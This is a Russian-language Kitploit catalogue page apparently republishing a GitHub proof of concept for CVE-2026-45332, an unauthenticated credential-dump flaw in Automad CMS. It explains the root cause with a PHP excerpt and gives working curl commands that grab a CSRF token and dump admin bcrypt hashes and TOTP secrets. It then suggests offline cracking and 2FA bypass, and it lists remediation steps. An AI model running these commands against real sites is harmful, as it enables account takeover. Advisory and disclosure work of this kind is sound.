Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/lorenzocamilli/cve-2026-45332-poc
Атаки на ПаролиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на ПроникновениеАутентификацияRed Teaming

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHublorenzocamilli/cve-2026-45332-poc

CVE-2026-45332-PoC

Эксплойт доказательства концепции для CVE-2026-45332, нарушенный контроль доступа в Automad CMS, позволяющий неаутентифицированный дамп bcrypt-хешей администратора и TOTP-секретов.

Репозиторий
33 месяцев назадЕщё не проверено

CVE-2026-45332: Нарушение контроля доступа в Automad CMS

Доказательство концепции для CVE-2026-45332, уязвимости нарушения контроля доступа в Automad CMS, которая позволяет любому неаутентифицированному атакующему извлечь bcrypt-хэш пароля и TOTP-секрет всех учётных записей администраторов через конечную точку настройки, которая никогда не отключается после начальной конфигурации.

ПолеЗначение
CVECVE-2026-45332
GHSAGHSA-xm76-r88j-vm3g
ПродуктAutomad CMS (composer automad/automad)
Затрагиваемые версии>= 2.0.0-alpha.1, <= 2.0.0-beta.27
Исправлено в2.0.0-beta.28
CVSS 3.17.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWECWE-200 (Sensitive Information Exposure), CWE-306 (Missing Authentication for Critical Function)
ИсследовательLorenzo Camilli

Краткое описание

Automad — это файловая PHP CMS. Конечная точка настройки, отвечающая за создание первой учётной записи администратора, /_api/user-collection/create-first-user, зарегистрирована как постоянно публичный маршрут API. Нет никакой защиты, которая бы закрыла его после завершения начальной конфигурации.

На работающем, полностью настроенном экземпляре неаутентифицированный POST к этой конечной точке загружает всю базу пользователей с диска и возвращает её в сериализованном виде в теле JSON-ответа, включая:

  • bcrypt-хэши паролей для каждой учётной записи администратора
  • TOTP-секреты (присутствуют в 2.0.0-beta.27)
  • абсолютный путь файловой системы к каталогу конфигурации

Не требуется предварительной учётной записи, учётных данных или особого сетевого положения.

Основная причина

Маршрут помещён внутрь массива $publicAPIRoutes в automad/src/server/Routes.php и регистрируется при условии AM_PAGE_DASHBOARD, константы, которая вычисляется в строку '/dashboard' и поэтому всегда истинна. Маршрут остаётся зарегистрированным на каждой установке, включая те, где настройка завершена.

root@kitploit:~
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
    $UserCollection = new UserCollection();   // loads ALL existing users from disk
    // ...
    $php = $UserCollection->generatePHP();    // serializes every user including hashes

    return $Response->setData(array(
        'php'       => $php,                  // credential hashes returned in response
        'configDir' => dirname(UserCollection::FILE_ACCOUNTS)  // absolute path leaked
    ));
}

User::__serialize() включает приватные поля passwordHash и totpSecret, поэтому они оказываются встроенными в сериализованный вывод, который возвращается вызывающему.

Полное техническое описание: PoC.md.

Доказательство концепции

Конечная точка требует действительный CSRF-токен и сессионный cookie Automad, оба свободно доступны на публичной странице входа. Воспроизведение:

root@kitploit:~
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
  | grep -oP '(?<=<meta name="csrf" content=")[^"]+')

# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
  --data-urlencode "__csrf__=$CSRF" \
  --data-urlencode 'username=dummy' \
  --data-urlencode 'password1=AnyPassword1!' \
  --data-urlencode 'password2=AnyPassword1!' \
  --data-urlencode '[email protected]' | jq .

Ответ содержит bcrypt-хэш и TOTP-секрет каждого зарегистрированного администратора, а также абсолютный путь к конфигурации:

root@kitploit:~
{
  "code": 200,
  "data": {
    "php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
    "filename": "accounts.php",
    "configDir": "/path/to/config"
  }
}

Полученные bcrypt-хэши затем можно взломать в офлайн-режиме (Hashcat / John). На 2.0.0-beta.27 утёкший TOTP-секрет полностью обходит двухфакторную аутентификацию.

Воздействие

Неаутентифицированный удалённый атакующий может:

  1. Извлечь bcrypt-хэш каждого администратора и взломать его в офлайн-режиме.
  2. Извлечь TOTP-секреты и обойти 2FA (2.0.0-beta.27).
  3. Узнать абсолютный путь файловой системы сервера, что помогает дальнейшим атакам.

Устранение

Обновитесь до Automad 2.0.0-beta.28 или новее, где конечная точка ограничена после завершения начальной настройки. В качестве временной меры заблокируйте запросы к /_api/user-collection/create-first-user на веб-сервере или WAF.

Ссылки

  • CVE.org: CVE-2026-45332
  • GitHub Advisory: GHSA-xm76-r88j-vm3g
  • Automad CMS
  • Нарушение контроля доступа (OWASP)
Скачать инструмент